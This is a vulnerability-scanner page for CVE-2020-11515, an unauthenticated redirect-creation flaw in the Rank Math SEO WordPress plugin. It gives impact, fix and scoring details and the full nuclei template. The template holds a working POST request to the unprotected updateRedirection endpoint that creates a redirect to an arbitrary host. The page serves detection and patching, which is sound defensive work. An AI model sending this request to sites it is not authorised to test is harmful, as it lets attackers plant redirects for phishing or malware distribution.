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CVE-2020-11515· rankmath / seo· CWE-601

Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint

mediumseverity
6.1CVSS score
2.5%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it

The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).

Impact

Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites.

Fix

Update the Rank Math SEO plugin to version 1.0.41 or later.

How to confirm it

Send: POST /wp-json/rankmath/v1/updateRedirection
Positive when: contains_all(body, "update","Redirection updated successfully.") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2020-11515 -u <target>

The full check
id: CVE-2020-11515

info:
  name: Rank Math SEO <= 1.0.40.2 - Redirect Creation via Unprotected REST API Endpoint
  author: s4e-io
  severity: medium
  description: |
    The Rank Math plugin through 1.0.40.2 for WordPress allows unauthenticated remote attackers to create new URIs (that redirect to an external web site) via the unsecured rankmath/v1/updateRedirection REST API endpoint. In other words, this is not an "Open Redirect" issue; instead, it allows the attacker to create a new URI with an arbitrary name (e.g., the /exampleredirect URI).
  impact: |
    Unauthenticated attackers can create arbitrary redirect URIs on the WordPress site, which can be used for phishing attacks, SEO manipulation, or distributing malware by redirecting users to malicious external sites.
  remediation: |
    Update the Rank Math SEO plugin to version 1.0.41 or later.
  reference:
    - https://www.wordfence.com/blog/2020/03/critical-vulnerabilities-affecting-over-200000-sites-patched-in-rank-math-seo-plugin/
    - https://rankmath.com/changelog/
    - https://wordpress.org/plugins/seo-by-rank-math/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11515
    cwe-id: CWE-601
    epss-score: 0.02501
    epss-percentile: 0.8484
    cpe: cpe:2.3:a:rankmath:seo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rankmath
    product: seo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/seo-by-rank-math/"
  tags: cve,cve2020,wordpress,wordfence,redirect,seo-by-rank-math,wp-plugin,wp,vkev,vuln

http:
  - raw:
      - |
        POST /wp-json/rankmath/v1/updateRedirection HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "redirectionUrl": "http://{{to_lower(rand_text_alpha(20))}}.{{to_lower(rand_text_alpha(5))}}",
          "redirectionSources": "/{{to_lower(rand_text_alpha(10))}}",
          "hasRedirect": "true"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "update","Redirection updated successfully.")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from